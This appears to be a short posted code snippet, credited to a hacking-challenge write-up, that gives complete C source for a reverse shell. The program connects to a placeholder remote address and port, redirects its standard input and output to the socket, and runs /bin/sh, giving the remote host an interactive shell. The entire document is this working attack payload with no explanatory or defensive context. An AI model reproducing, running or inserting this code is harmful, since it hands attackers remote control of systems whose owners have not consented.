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Simple C code to create a reverse shell
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/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */ | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <netinet/in.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#define REMOTE_ADDR "XXX.XXX.XXX.XXX" | |
#define REMOTE_PORT XXX | |
int main(int argc, char *argv[]) | |
{ | |
struct sockaddr_in sa; | |
int s; | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); | |
sa.sin_port = htons(REMOTE_PORT); | |
s = socket(AF_INET, SOCK_STREAM, 0); | |
connect(s, (struct sockaddr *)&sa, sizeof(sa)); | |
dup2(s, 0); | |
dup2(s, 1); | |
dup2(s, 2); | |
execve("/bin/sh", 0, 0); | |
return 0; | |
} |
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